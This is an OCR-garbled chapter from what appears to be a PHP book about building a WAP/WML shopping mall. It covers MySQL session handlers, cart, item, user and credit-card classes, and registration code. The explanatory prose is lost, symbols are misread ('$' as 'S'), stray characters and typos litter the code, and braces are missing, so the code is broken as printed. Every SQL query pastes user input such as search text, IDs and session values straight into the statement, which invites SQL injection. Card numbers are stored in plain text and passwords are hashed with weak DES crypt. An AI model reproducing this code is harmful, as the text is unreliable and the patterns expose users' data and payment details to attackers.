log-, :
//
function sendErrorPage($mesg)
HTTP Content-Type text/vnd.wap.wml. , , , WML.
HTTP Content-Type ,
, HTML, text/html:
header("Content-Type: text/vnd.wap.wml");

(Document Type Declaration, DTD)


WML. WML XML, DTD:
printf("<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\"
\"http://www.wapforum.org/DTD/wml_1. 1.xml\">");
printf("<wml>\n");
WML, :
printf("<card id=\"errorCard\">\n");
pritttf("<p>\n");
printf("%s", $mesg);
printf("</p>\n");
printf("</card>\n");
printf("</wml>\n");

cookies, URL. getSession!dString( ) , , :


// sessionld
function getSessionldStringO
{
return session_name(). "=".session_id();

generateOptionElement( ) WML option:


// option
function generateOptionElement($href , SdisplayText)

16. WAP

602

printf ("<option>\n");
printf ( "<onevent type=\"onpick\">\n " ) ;
printf("<go href=\"%s\"/>\n", $href );
p rintf ( "</onevent>\n" ) ;
printf ("%s\n", SdisplayText);
: printf ("</option>\n");
getDateString( ) YYYY-MM-DD,
YYYY , - , a DD - .
MySQL:
//
function getDateStringO

{
return date(Y-m-d);
convertDateFromMysqlFormat( ) YYYY-MM-DD
MM/DD/YYYY. $dateStr YYYY-MM-DD:
function convertDateFromMysqlFormat($dateStr)
{
list ($year, Smonth, $day) = split("-", SdateStr);
return Smonth . "/" . $day . "/" . $year;
convertDateToMysqlFormat( ) MM/DD/YYYY
YYYY-MM-DD:
function convertDateToMysqlFormat($dateStr)
{
list ($month, $day, Syear) = split("/", SdateStr);
return $year . "-" . Smonth . "-" . $day;
: }.

checkSessionAuthenticatedQ ,
. ,
WML :
function checkSessionAuthenticated( )
{
global $isAuthenticated;
:
session_start();

603

true, $isAuthenticated
true. :
if (session_is_registered("isAuthenticated") && $isAuthent.icate'd) {
return true;
} else {
sendErrorPageC'Unauthenticated Session");

exit;

> :

. ' } - . . ' . ,;.;.. . .:

..;. I ;.';>

. .

'. i

;:'

Function_Result , . SerrorMessage ,
Sretu rnValue .
$ r e t u r n V a l u e :
class Function_Result
{
var $errorMessage;
var SreturnValue;

Function_Result
SerrorM-essage $returnValue:
,

function
.Function_Result($errMessage, SretValue)
{

'. '

$this->errorMessage = SerrMessage;
$this->returnValue = SretValue;

getDBConnectionO MySQL:
function getDBConnectionO
. V'{""; ;

global SdbHostName, SdbUserName, $dbPassword, $dbName;


'.'// Get a persistent database connection
if (! (Slink .= mysql_pconnect($dbHostName,
IdbUserName, SdbPassword))) {
return new Function_Result(
"Internal Error: Could not open database connection", null);
}
// select mysql database
if (!mysql_select_db($dbName, Slink)) {
return new FunctiOn_Result(
"Internal Error:
Could not selectdatabase ", null);
'

604

16. WAP
return new Function_Result(null, Slink);

open(), closeO, read(), writeO, destroyO ( )


, . MySQL , , .
open () . , . . :
function open($save_path, $session_name)
return true;
closeO , . :
function closeO
return true;
read() $id:
function read(Sid)
global SdbHostName, SdbUserName, SdbPassword, SdbName;
:
if (!(Slink = mysql_pconnect($dbHostName, SdbUserName, SdbPassword))) {
return null;
}

MySQL, Session:
// mysql
if (!mysql_select_db(SdbName)) {
return null;
SELECT , :
// SELECT
SselectStmt = "SELECT data FROM Session WHERE id = '" . Sid .

605

MySQL:
//
if (!($result = mysql_query($selectStmt, Slink))) {
return null;
. , , , n u l l :
if (($row = mysql_fetch_array($result, MYSQLJJUM))) {
$data = $row[0];
} else {
$data = null;

MySQL:
mysql_free_result($result);

:
return $data;

write( ) Session. $id


, $data :
function write($id, $data)
{
global SdbHostName, SdbllserName, $dbPassword, SdbName;

MySQL:
//
if (! (Slink = mysql_pconnect($dbHostName, SdbUserName, SdbPassword))) {
return false;

;:';;>

// mysql
if (!mysql_select_db($dbName)) {
return false;

REPLACE .
$id , REPLACE
,
:

606

16. WAP
:// REPLACE
$replaceStmt = "REPLACE INTO Session(id, data)
VALUES C$id', '$data')";

:
//
if (!($result = mysql_query($replaceStmt, $link))) {
return false;
}
return mysql_affected_rows( Slink);
destroy () , $id:
function destroy(Sid)
{
global SdbHostName, ; SdbUserName, SdbPassword, SdbName;
//
if (! ($link = mysql_pconnect($dbHostName, SdbUserName, SdbPassword))) {
return false;

// mysql
if (!mysql_select_db($dbName)) {
return false;
DELETE $id
id:

// DELETE
SdeleteStmt = "DELETE FROM Session WHERE id = 'Sid11';
//
if (!($result = mysql_query($deleteStmt, Slink))) {
return false;
}
return mysql_affected_rows( Slink);
gc( ) , ,
Smaxlifetime :
function gc(Smaxlifetime)
{
global SdbHostName, SdbUserName, SdbPassword, SdbName;
//
if (! (Slink = mysql_pconnect($dbHostName, SdbUserName, SdbPassword))) {
return false;


*.

607

// mysql
if (!mysql_select_db($dbName)) {
return false;

Session,
lastAccessed $maxlifetime , . , SQL SELECT,
UPDATE REPLACE, lastAccessed :
// DELETE
SdeleteStmt = "DELETE FROM Session WHERE CURRENTJIMESTAMP <
(lastAccessed + ". Imaxlifetime . ")";
//
if (!($result = mysql_query($deleteStmt, Slink))) {
return false;
return mysql_affected_rows($link);

setSessionHandlers() :
function setSessionHandlersO
session_set_save_handler("open", "close", "read", "write",
"destroy", "gc");


,
(
15).

, .
,
:
Item - ,

Book_Item - ,
Music_Item - ,
Book_Shop - , /
BookShop
Music_Shop - , / MusicShop

608

16. WAP

Shopping_Cart - , .
/
Transaction - , ,

Credit_Card - ,

S h i p p i n g _ A d d r e s s - ,

User - , .
.
Use r_Sto rage

Use r_Sto rage - , Use r


UserFactory
Item
Item, php Item:
<?php
class Item
:;
{
var SitemNo;
var SitemType;
var $price;
$itemNo, $itemType
$price:
function Item($itemNo, SitemType, $price)
{

; $this->itemNo = SitemNo;
$this->itemType = SitemType;
$this->price = Sprice;

getItemNo( ) itemNo:
function getltemNoO
{
return $this->itemNo;
}

getItemType( ) itemType:
function getItemType( )
{

return $this->itemType;

'

'

609

getPrice( ) price:
function getPriceQ

. ' : ',.

: :AI. i

return $this->price;

Bookjtem
Bookltem. php Book_Item:
<?php
include_once("Item. php");

Book_Item Item:
class Book_Item extends Item
{
var $title;
var Sauthor;

Item,
SitemNo, $itemType $price:
function Book_Item($itemNo,;: SitemType, $price, $title, lauthor)
{
:
$this->Item($itemNo, $itemType, $price);
$title Sauthor:

$this->title = $title;
$this->author = Sauthor;
' ",.

getTitle( ) title:
function getTitleO
{
return $this->title;
>

::

getAuthor( ) author:
function getAuthor()
{
return $this->author;

20 . 989

610

16. WAP

Musicjtem
Musicltem. php Music_Item:
<?php

include_once( "Item. php" ) ;


Music_Item - Item:
'class Music_item extends Item
< :-|:

var $title;
van $artist;

?-

Item, - $itemNo, $itemType $price:


function Music_Item($itemNo, SitemType, $price, $title, $artist)

{
. $this->Item($itemNo, $itemType, $price) ;.:
- $title $artist:
$this->title = $title;
$this->artist = $artist;

}
getTitle( ) title:
function getTitleO

{
return $this->title;

>
getArtist( ) artist:
function getArtist()
{
return $this->artist;

Book_Shop
BookShop. php Book_Shop:
<?php

include_once( "Common . php" );


include_once("8ookltem.php");
class Book_Shop

611

getltemsO BookShop Book_Item:


function getltemsO

:
SfunctionResult = getDBConnectionQ;
if (SfunctionResult->returnValue == null) {
return SfunctionResult;
}
Slink = SfunctionResult ->retiirnValue;
SELECT :
SbookShopSelectQuery = "SELECT itemNo, itemType, price,
title, author FROM BookShop";
SQL:
if (! (Sresult = mysql_query($bookShopSelectQuery, Slink))) {
return new Function_Result(:"Internal Error: Could not
execute sql query ", null);

v4f

'

'

'. 5-;.>.;'; VS.-

SbookShopContent = null;
while (($row = mysql_fetch_array($result, MYSQL_NUM))) {

Book_Item SbookShopContent:
$bookShopContent[] = new
Book_Item($row[0], $row[1], $row[2], $row[3], $row[4]);

}
mysql_free_result($result);
SbookShopContent:
return new Function_Result(null, SbookShopContent);

getltem() Book_Item,
SitemNo:
function getItem($itemNo)
{
//
SfunctionResult = getDBConnectionQ;
if ($functionResult->returnValue == null) {
return SfunctionResult;

612

16. WAP

'> :

.'..' .

Slink = $functionResult->returnValue;

' '

: -I , ...

SELECT $itemNo:
$bookShopSelectQuery = "SELECT itemNo, itemjype, price,
title, author FBOM BookShop
WHERE itemNo='" . SitemNo . ..... ;
:
1

if (!($result = mysql_query($bookShopSelectQuery, Slink))) {


: return new Function_Result( "Internal Error: Could not
execute sql query ", null);

:
:$row = mysql_fetch_array($result, MYSQL_NUM);
if ($row == null) {
return new Function_Result(null, null);
} else {

Book_Item :
$item =
new Book_Item($row[0], $row[1], $row[2], $row[3], $row[4]);

Book_Item:
return new Function_Result(null, $item);

search() Book_Item, SsearchText author title:


function search($searchText)

SELECT , SsearchText
:
SsearchStmt = "SELECT itemNo, itemType, price, title, author FROM
BookShop WHERE author LIKE '%" . SsearchText . "%' OR
title LIKE '% " . SsearchText . " % ' " ;

getSearchResultsO SQL SsearchStmt:


SfuncResult - $this->getSearchResults($searchStmt);

613

:
return $funcResult->returnValue;

searchByTitleO Book_Item,
SsearchText title:
function searchByTitle($searchText)

.}

SsearchStmt = "SELECT itemNo, iterrtType, price, title, author FROM


BookShop WHERE title LIKE '% " .SsearchText . "%'" ;
SfuncResult = $this->getSearchResults($searchStmt);
return $funcResult->returnValue;
}..''
;
;;; ..;-.,./'.

searchByAuthor() , SsearchText author:


function searchByAuthor($searchText)
:
{
SsearchStmt = "SELECT itemNo, itemType, price, title, author FROM
BookShop WHERE author LIKE '% " .
SsearchText . "%' " ; ; ::
SfuncResult = $this->getSearchResults( SsearchStmt ) ;
return $funcResult->return,Value;
getSearchResultsO SsearchStmt Book_Item:
function getSearchResults($searchStmt)
'
'
'

:
SfunctionResult = getDBConnection();
if (SfunctionResult->returnValue == null) {
return SfunctionResult;
}
Slink = $functionResult->returnValue;
SQL SsearchStmt:
if (!($result = mysql_query($searctiStmt, Slink))) {
return new Function_Result("Internal Error: Could not
execute sql query", null);
>
" . ' ,':: ; - : :
SsearchResults = null; :
while (($row = mysql_fetch_array($result, MYSQL_NUM))) {

614

16. WAP

Book_Item $searchResults:
$searchResults[] =
'.'". new Book_Item($row[0], $row[1], $rpw[2], $row[3], $row[4]);
>
mysql_free_result($result);

SsearchResults:
return new Function_Result(null, SsearchResults);

Musk_Shop
MusicShop. php Music_Shop:
<?php
include_once( "Common , php" ) j '.
include_once("MusicItem,php");
class Music_Shop

'''

getltems() MusicShop
Music_Item:
function getltemsO

:
SfunctionResult = getOBConnection();
if ($functionResult->returnValue == null) {
return $functionResult;
%;:r- .:': .'v:::vK: "' ; '"" I "
' . '
; :";K
Slink = $functionResult->returnValue;
:

SELECT :
SmusicShopSelectQuery = "SELECT itemNo, iteraType, price, title,
artist FROM MusicShop";
:
if (!($result = mysql_query($musicShopSelectQuery, Slink))) {
return new Function_Result( "Internal Error: Could not
execute sql query ", null);
'

615
SmusicShopContent = null;
while (($row = mysql_fetch_array($result, MYSOL_NUM))) {

Music_Item $musicShopContent:
. $musicShopContent[] = new MusiC_Item($row[OL $row[1], $row[2],
$row[3], $row[4]); .,

>
mysql_free_result($result);
SmusicShopContent:
return new Function_Result(null, SmusicShopContent);

getltem( ) Music_Item,
$itemNo:

-,

function getltem(SitemNo)
{
SfunctionResult = getDBConnectionQ;
if (SfunctionResult ->returnValue == null) {
return SfunctionResult;
>
Slink = SfunctionResult->returnValue;

SELECT
SitemNo:

SmusicShopSelectduery = "SELECT itemNo, itemType, price, title,


artist FROM MusicShop WHERE itemNo="' .
SitemNo . "'";
:
if (!($result = mysql_query($musicShopSelectQuery, Slink))) {
return new Function_Result( "Internal Error: Could not
execute sql query ", null);
}

:
$row = mysql_fetch_array($result, MYSQL_NUM);
if ($row-== null) {
return new Function_Result(null, null);
} else {

Music_Item :
Sitem =
new Music_Item($row[0], $row[1], $row[2], $row[3], $row[4]);

16. WAP

616
Music_Item:

return new Function_Result(null, $item);

search () ,
$searchText artist title:
function search($searchText)
'

SELECT , $searchText artist title:


SsearchStwt = "SELECT itemNo, itemType, price, title, artist FROM
HusicShop WHERE artist LIKE '%" . SsearchText . "%'
OR title LIKE '% " . SsearchText . "%'" ;

getSearchResultsQ SQL SsearchStmt:


SfuncResult = $this->getSearchResults($searchStmt);
:
return $funcResult->returnValue;

searchByTitle() Music_Item, SsearchText title:


function searchByTitle($searchText) .

SsearchStmt = "SELECT itemNo, itemType, price, title, artist


FROM MusicShop
WHERE title LIKE '% " . SsearchText . "%'fl ;
SfuncResult = Sthis->getSearchResults($searchStmt);
return $funcResult->returnValue;

searchByArtist() Music_Item, SsearchText artist:


function searchByArtist(SsearchText)
{
SsearchStmt = "SELECT itemNo, itemType, price, title, artist
FROM MusicShop
WHERE artist LIKE f % ". . $searchText . "%'" ;
SfuncResult = $this->getSearchResults($searchStmt);

617
return $funcResult->returnValue;

getSearchResultsO SQL SsearchStmt


Music_Item:
function getSearchResurts(SsearchStmt)
'

"

:
$f unctionResult =::getDBConnection( ) ;
if (SfunctionResult->returnValue .== null) {
return $f unctionResult;
}
:
'
'
Slink = $functionResult->returnValue;
/:

;;'

::

" "

SQL SsearchStmt:
if (!($result = mysql_query($searchSt(nt, Slink))) {
return new Function_Result( "Internal Error: Could not
execute sql query ", null);
''

'

^ :

>

',

'

''

SsearchResults = null;
while (($row = mysql_fetch_array($result, MYSQL_NUM))) {

Music_Item SsearchResults:
$searchfiesults[] = new Music_Item($row[0], $row[l], $row[2],
$row[3], $row[4]);

SsearchResults:

'

raysql_free_result($result);
return : new Function_Result(null, SsearchResults);

Shopping_Cart Shopping_Cart_ltem
ShoppingCart.php Shopping_Cart
Shopping_Cart_Item:

<?php

includeC'MusicItem. php");
include( "Bookltem. php" ) ;
class' Shopping_Cart

'"

''

'

''

16. WAP

618

SshoppingCartltem Shopping_Cart_Item:
var, SshoppingCartltems;
SshoppingCartltems:
function Shopping_Cart()
{ '
$this->shoppingCartItems = arrayO;
>

:; ; .;.....,;; '

addltem() $item
Squantity:
function addltem($item, $quantity)
{
SitemNo = $item->getIternNo();

, $item:
IshoppingCartltem = $this->getShoppingCartItem($i-temNo);
if (!SshoppingCartltem) {

, $item,
:
$this->shoppingCartItems[] =
new Shopping_Cart_rtem($item, Squantity);
} else {

\:

Squantity:
$shoppingCartItem->addQuantity(Squantity);
}
}"::.',:".: .

. .

.;:':', :;

getShoppingCartltemO , SitemNo:
function &getShoppingCartItem($itemNo)
{

for($i=0; $i<sizeof($this->shoppingCartItems); $i++) {


SshoppingCartltem = & $this->shoppingCartItems[$i];
$item = $shoppingCartItem->getItem();
if: ($item->getItemNo() == SitemNo) {
return $this->shoppingCart!tems[$i];

return null;
}-.'::

619

removeltem( ) $item :
function removeltem($item){
SshoppingCartltem - $this->getShoppingCartItem($itemJgetIternNo( ) ) ;
if (SshoppingCartltem != null) { ;
:
SshoppingCartItem->setQuantity(0);
}

I '"

':;,

changeQuantityO $item
$newQuantity:
function changeQuantity($item, $newQuantity)

SshoppingCartltem = &$this->getShoppingCartItem(
$item->getItemNo());
if (SshoppingCartltem != null) {
$shoppingCartIte(n->setQuantity($newQuantity);
}
SshoppingCartltem = &$this->getShoppingCartItem(
$item->get!temNo( ) ) ;
getltemsO , -

:
function getltemsO
<
. " ' 3'" '..'';;': :-::: '::',:
'$ ret Items = arrayO;
for($i=0; $i<sizeof($this->shoppingCartItems); $i-n-) {
SshoppingCartltem = $this->shoppingCartItems[$i];
if ($shoppingCartItem->getOuantity() != 0) {
$retltems[] = SshoppingCartltent;
return Sretltems ;
/}"

>,y :'''"'

':.

:
function clear()

{
$this->shoppingCartItems = arrayO;

16. WAP

620

Shopping_Cart_Item , :

class Shopping_Cart_Item
{
var $item;
var $quantity;

$item $quantity:
function Snopping_Cart_Item($item, Squantity)
{

$this->item =$item;
$this->quantity = Squantity;

' .,,;.....

setQuantity( ) Squantity:
function setQuantity($quantlty)
:'...":'i '
$this->quantity = Squantity;
'<:::1:t<

'}'

" ' " . ' &^ '''.'/'

addQuantityO Squantity
$quantity:
function addQuantity($quantityj
{
$this->quantity += Squantity;
"';.:;'}' ;.;",.
getltem( ) $item:

function getltem()
<
return
$this->item;
?

/
:

}K'(;.': :: ';';,...,,;; . .';, '. <]> J. - ! ;

getQuantity( ) $quantity:
function getQuantityO

: 3;f

return
$this->quantity;
'

Shipping_Address
ShippingAdrress. php Shipping_Address:

621

<?php
class Shipping_Address
{

var Sstreet Address;


var $clty;

var Scountry;
var SzipCode;

streetAddress,
city, country zipCode:
function Shipping_Address($streetAddress, Scity, Scountry, SzipCode)

; ::'': (

Sthis->streetAddress = Sstreet Address;


$this->city = Scity;
$this->cbuntry = Scountry;
$this->zipCode = SzipCode;

'

'

'

:
function getStreet Address ()
{
return $this->streetAddress;
}
function getCityO

;/{
}

return $this->city;
k '';;
:,:

,;

function getCountryO
{
return $this->country;
}
function getZipCodeO
<
return $this->zipCode;

Credit_Card

CreditCard. php Credit_Card:


<?php

class Credit_Card
{

var ScardNumber;
: var SexpiryDate;
var $cardType;

622

16. WAP

cardNumber, cardTy expiryDate:


function Credit_Card($cardNurnber, IcardType, $expiryDate)

, {-'..;:'; ;

$this->cardNumber = JcardNumber;
'$this->cardTyp'e'; = ScardType;
$thls->expiryDate ="$expiryDate;
:
function getCardNumber()
{', .'.:'. :
return $this->cardNumber; . .: :

:'?:'

.'.* ..

.-.;

.:;;'

function getCardType()
:.

return $this->cardtype;
'1.
' ' .
' '
" '
:'' :-"
:

/':.

'

'.''

'."

function getExpiryDateO

feoi ':{ .;,;.''" ::'


:

,.

...:

.;..;. .:- '

return $this->expiryDate;

..^

-: : '','"

. , . . .,v. : . . . . . .

' .

,>'

-.,,

..

' . - : ' ' -

':'".

{& '

Transaction

Transaction . php Transaction:


<?php
class Transaction:

.'""'^'':'. .'":''.''"
var
var
var
..;,.; var
var
var
;

$userld;
$item; : (S -.:>t
Squantity;
$date; ;
$status;
SorderNo;

'"". ' ' ,. :;;;

userld, item, quantity, date, status orderNo:


function Transaction($userld, Sitem, Squantity,
Sdate, Sstatus, SorderNo)

$this->userld = $userld;
. ::$this->item = $item;
$this->quantity = $quantity;

' ;: ;, , ../,'.:'' '", .''" :.,.....::'''

623
;

$this->date = $date;
; ;v$this->status = Sstatus;
$this->orderNo = JorderNo;
>
;,;:.4--';.
function getllserldO

' :,

;<

.:K'':

' :

;:'0:: V. ' ,.

' v'.'- ::.; :'


,
function getltemO
{'
return $this->item;
*

. ' ' V : ^ - ' ,' 4 '

;.

return $this->userld;

';,;',}

"

'..'/VT ."' '

;.

fe^'-'^^'-b^.^Vv,

'

""

/;

* , . ' :""-, '.. .

'

'.;''."' . :.

.':.. .'-- ' "'''' '

function. getQuantityO ":


S.:^i-; :S|

:'
:

'''"

:*:, return $this->quantity;


:

;;,;..,}.,. "" ";,.;,. : ' " . . '

'':-.'
:

-....,' . .

.;'

"' '

J :;
: ;

:;

, ' %\,

'-::-'. '.
:

' '

, f|

. , -;:;;, ^- :'-%^l "

function getDateO
"' :/ "^\'.:>,

-^

;,

'-^ '.':"..

'#-$^

V;.'..

:<V:: '

return $this->date;
;'?/./ 1 '> C > :;....'.' ^'.. ". "; : :;; ' '" '",.: , .". - ^ ,, %{. ; '", ''/. : ; ':"' .. -' :: '>' . ':.-.function getStatus()
; {V; : : V . ; ; .

return $this->statuS;::

-:

' : ;(

;:

V } . . ; ;,; .

:,- "r:..

' " ; . , '4:^t''


:

/'.;''.'':';:;:,..

"

V.J ,'%;-,'

function getOrderNoO
{

'"

" <f;.:,"

return $this->orderNo;
'

',

^:>, '

::

User
User, php User:
<?php
, . include_once ("ShoppingCart^php");
include_qnce("UserStorage.php");
include_ohce( "ShippingAddress . php" ) ;
include_once("CreditCard.php"); '-.
include_once("Common.php");
include_once( "Transaction, php");
include_once("Book!tem.php");
inciude_once( "Musicltem . php" ) ;
; :61ass User

' : ;:;% ; ' : ; .;..' :: : ^


yar $firstName;

; ,.;.:;;

; :

'

"

624

16. WAP

var
var
. var
var
var
var
var
var
var
var

SlastName;
$password;
$gender;
$age;
Semailld;
SphoneNumber;
$accountBalance;\
SshippingAddress;
ScreditCard;
;
SuserStorage;

:
:

- :
function User($firstName, $lastName, Suserld, $password, $gender,
$age, $emailld, SphoneNumber, SaccountBalance,
IshippingAddress, ScreditCard)
{
: $this->firstName = $firstName;
$this->lastName = SlastName;
$this->userld = Suserld;

;;:
$this->password = Spassword;

$this->gender = $gender;:
$this->age = $age; : ,
$this->emailld = Semailld;
: $this->phoneNuinber = SphoneNumber;
;
::
$this->accountBalance =; SaccountBalance;
$this->shippingAddresS: = SshippingAddress; ;:;;
$this->creditCafd= $creditCard;
Use r_Sto rage User:
/ : $this->userStorage = new User Storage($userld);

:
function getFirstNameO
.: i&^/

return, $this->firstName;

' . :.

function: getLastNameO

{ : ..;:; \ :

return $this->lastName;

..V':>^' : AV

"' : } . '

. . ;: .:,,,,,.:,., ,,,
'..

function getUserldO
{
return $this->userld;
,'.;'::.." "}'' :'.;:" :- " < ' :-'' '.-"':;;
function getCender()

->"

' :

; --;

625
return $this->gender;
:

.}

::

'-': ":',.

function getAgeO
{
return $this->age;
}
function getEmailldO
{
return $this->emailld;
function getPhoneNumberO
{ "i '

return $this->phoneNumber;

function getShippingAddress()
'(
return $this->shippingAddress;
}

'

function getCreditCardO
{
return $this->creditCard;
function getAccountBalance(){
return $this->accountBalance;
t rue, , - false:
function checkPassword($password)
:
ScryptPassword ,=' crypt($password,;CRYPT_STDJ)ES);
. , :
if ($this->password == $cryptPassword) {
return TRUE;
} else {
return FALSE;

626

16. WAP

checkout () . t r u e , , false:
function checkOut($shoppingCart)

{ ,. ' ;:

,-,':, . -.

^transactions = arrayO;

, :
SshoppingCartltems = $shoppingCart->getItems(); ;
fon($i=0; $i < sizeof($shoppingCartItems); $i++) {
'.;:. SshoppingCartltem = $shoppingCartItems[$i];
Sitem = $shoppingCartItem->getItem(); :
:
$transactiOns[] =
new Transaction($this->userld, $item,
$shoppingCartItem->getOuantity( ) ,
:
getDateStringO,
:
"Pending", null);

:
.

.,.

;:; :

$this->accountBalance += $shoppingCart!tem->

getQuantity()*: $item->getprice();

: : . : . ' ; } . ' : /::". : ' : . . .,"


'.> ' ' : ' :,,'",
Sstorage s $this->userSturage;
if (sizeof($transactions) > 0) ..(.'

_$;y-ar, .

' '- ' '! : j " ' ; : ;

Use r_Sto rage :


$storage->saveTransactions($this->accountBalance,
;;..'..
$transactions);
:
i; ':
return; TRUE;. . \:\
/; :;?:. {' }-else { '..; ' ,:'.'
. ;;,'.:
'.;.,.' ;.':;; '
return FALSE;
.
\.
'^Vf.'.y .V,.,}' : : ' :

' -/.

getTransactions() , :
function getTransactionsO

:',;:.'"

$storage. = $this->userStorage;

,\ . . ' . .:;., ;?-;?'S;;:;:;:

getTransactions( ) $storage:
$funcResult = $storage->getTransactions();
return $funcResut->returnValue;

?>

627

'

--.

''

.v':'

User_Storage

UserStorage. php User_Storage:


<?php

include_once("Common.php");
include_once("Transaction.php");
include_once("Bookltem.php");
include_once(''MusicItem.php");
class User_Storage

{ ..;

var $userld;

use rid:
function User_Storage($userId)
.{.'"
$this->userld = $userld;
':,:, . } ' %

getTransactions() :
function gettransactionsO
< .'"
$transactions = array();

SfunctionResult: .=. getDBConnectionO;


if ($functionResult->returnValue == null) {
return $functionResult; .'"-

";- Slink
> = $functionResult->returnValue; '

SELECT :
SselectStmt = "SELECT Transaction.itemNo, title, author, quantity,
date, status, orderNo, itemType
FROM BookShop, Transaction ;
WHERE BookShop.itemNo = Transaction.itemNo
AND userld = " .
. $this->userld .
;
//
if (!($result = mysql_query($selectStfflt, $link)))"{
return Functiori_Result("Internal Error: Could not
execute sql query", null);
}
while (($row = mysql_fetch_array($result, MYSQL_NUM))) {

628

16. WAP


$t ransactions:
$item = new Book_Item($row[0], $row[7], null, $row[1], $row[2]);
$transaction = new Transaction($this->userld, $item, $row[3],
$row[4], $row[5], $row[6]);
$transactions[] = Stransaction;
}

mysql_free_result($result);
SELECT :
SselectStmt = "SELECT Transaction. itentNo, title, artist, quantity,
date, status, orderNo, itemType
FROM MusicShop, Transaction
WHERE MusicShop. itemNo = Transaction. itemNo
AND userld = " . ..... . $this->userld . ..... ;
//
if (!($result = mysql_query($selectStmt, $link))) { . /
return Function_Result( "Internal Error: Could not.
execute sql query", null);
} :
while (($row = mysql_fetch_array($result, MYSQL_NUM))) {

$t ransactions:
Sitem = new Music_Item($row[0], $row[7], null,
$row[1], $row[2]);
$transaction = new Transaction($this->userld, $item,
$row[3], $row[4], .
$row[5], $row[6.]);
$transactions[] = $transaction;

}
mysql_free_result($result);
return new Function_Result(null, $transactlons);

saveTransactions( ) :
function saveTransactions($accountBalance, $t ransactions)
{
//
SfunctionResult = getDBConnectionO;
if ($functionResult->returnValue == null) {
return SfunctionResult;
-.Va-"'"

-...:

Slink = $functionResult->returnValue;

.;:-,,

629

SQL Transaction:
SinsertStmt = "INSERT INTO Transaction(userld, iteitiNo,
quantity, date, status) VALUES ";
for($i=0; $i < sizeof($transactions) ; $i++) {
Stransaction = $transactions[$i];
$item - $transaction->getltem();
SinsertStmt = SinsertStmt . "('". $transaction->getUserId()
."',"'. $item->getItemNo(). "',
". $transaction->getOuantity()
. ",'". $transaction->getDate()
. "','". $transaction->getStatus() ."

"')";

if ($i < (sizeof($transactions)-1)) {


SinsertStmt = SinsertStmt . ",";

INSERT:

if (!($result = mysql_query($insertStmt, Slink))) {


return new Function_Result( "Internal Error: Could not
execute SQL Query", null);

'

SQL :
SupdateBalanceStmt - "UPDATE UserProfile SET accountBalance = " .
SaccountBalance . " WHERE userld = " .
.
$this->userld . ;
UPDATE:
.if (!($result = mysql_query($updateBalanceStmt, $link))) {
return new Function_Result("Internal Error: Could not
execute SQL Query", null);
return new Function_Result(null, null);
}
>
?>

:
' " . ' . . ",

:'


UserFactory. php :
<?
include_once("Common.php");
include_once("CreditCard. php");

630

16. WAP

include_once("SnippingAddress.php");
include_once("User.php");

createUser( ). :
function createUser($fnanie, $lname, Ipassword, luserld,
:
$address, $city, Scountry,
SzipCode, Sgender, $age,.
:
Semailld, SphoneNo, ScardType,
ScardNumber, ScardExpiryDate
'
' );
:
$functionResult = getDBConnection();
:
v;;;:; ;i;:: if ($f unctionResult->returnValue == null) {
return SfunctionResult;
:,'..''

>

'%"':

' .

''

'.

::'>:

Slink = $functionResult->returnValue;

SQL SELECT ,
userld:
ScheckUserQuery = "SELECT bount(*) FROM UserProfile
WHERE userld =" . ..... . Suserld . :"";
if (!($result = mysql_query($checkUserOuery, $link) {
. return new Function_Result("Internal Error: Could not
: execute SQL Statement", null);
'::''' f' )...., :::''
if (!($row = mysql_fetch_row($result))) {
return new Function_Result( "Internal Error: Could not
fetch row from result", null);
.>....,. "

:*&

if ($row[0] > 0) {
, :
;'

return new FunctiOn_Result( "User " . $userld . "exists", null);


>
mysql_f ree_result($result) ;

SQL INSERT
UserProfile:
SinsertUserStmt = "INSERT INTO UserProfile(fname, Iname, userld,
.password, address, city, country, zipCode,
gender, age, emailld, phoneNumber, cardNo,
expiryDate, cardType, accountBalance) VALUES (."
. ..... . Sfname . "',". ..... . $lname . "',"
. ..... . Suserld . "',".,'-'

631

, :

. "'' . crypt($password, CRYPT_STD_DES) . "',"

. '"" . Saddress . '" , "


. "'" . Scity . "',"

. " " . $country . "', "


. SzipCode. ","
. ..... . $gender . "',"
. Sage . ", "
:.'. ..... . Semailld . "',"'.,":
. ..... . SphoneNo . "',"
. ..... . ScardNumber . "', "
convertDateToMysqlFormat($cardExpiryDate) . '","
;. ..... . $cardType . "',"
. "0 )" ; ;;,; ::^;
':- ' > ; " >
INSERT:

'

if (!($result = mysql_query($insertUserStmt, $link))) {


return new Function_Result("Internal Error: Could not
execute sql query", null);
}
return new Function_Result(null, Suserld);

loadUser() Suserld.
User, :
: . function loadUser($user!d)
{
//
SfunctionResult = getOBConnectionO;
if ($functionResult->returnValue == null) {
return SfunctionResult;
;
' }
$link = $functionResult->returnValue;

SELECT :
SselectUserStmt = "SELECT f name, Iname, userld,
password, address, city, country, zipCode,
gender, age, emailld, phoneNumber, cardNo,
expiryOate, cardType, accountBalance
FROM UserPro.file WHERE userld=". "'".Suserld. "'";
SELECT:

if. (!($result = mysql_query($selectUserStmt, Slink))) {


return new Function_Result("Internal Error: Could not
execute
SQL Query", null);
'
''

632

16. WAP

if (!($row = mysql_fetch_row($result))) {
return new Function_Result("User " . Suserld . " does not
exist", null);

: :

: .;.' J

SfirstName = $row[0];
SlastName = $row[1];
Suserld = $row[2];
Spassword = $row[3];

Shipping_Address:
SshippingAddress = new Shipping_Address($row[4], $row[5], $row[6],
$row[7]);
Sgender = $row[8];
Sage = $row[9];
Semailld = $row[10];
SphoneNumber = $row[11];

Credit_Card:
ScreditCard = new Credit_Card($row[12], $row[14], $row[13]);
$accountBalance = $row[15];

User:
$user = new User($firstName, SlastName, Suserld, Spassword,
Sgender, $age, $emailld, SphoneNumber,
SaccountBalance, $shippingAddress, ScreditCard);
mysql_free_result($result);
User:
return new Function Result(null, $user);

}
?>


, , Main . php:
<?php
heade r ( "Content-Type : text/vnd . wap . wml " ) ;
include( "Common. php");
session_set_save_handler("open", "close", "read", "write", "destroy", "gc");
WML:
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"

"http://www. wapforum. org/DTD/wml_1 . 1 . xml">

633

WML:
<wml>
<card id="main">
<>
Welcome to the Shopping Mall
<br />
<select ivalue="1">
. (login) :
("':-,

<option title="LOGN">
<onevent type="onpick">
<go href="#login"/>
</onevent>
Sign In
</option>

. (# registration) :
<option title="REG">
<onevent type="onpick">
<go href="registration"/>
</onevent>
User Registration
</option>
</select>
</card>
:
<card id="login">
. Suserld:
Use rid;

<input name="userld" title="User!d" type="text"/>


password .
Spassword:
Password:
<input name="password" title="Password" type="password"/>

634

16. WAP

<do>, accept <>.



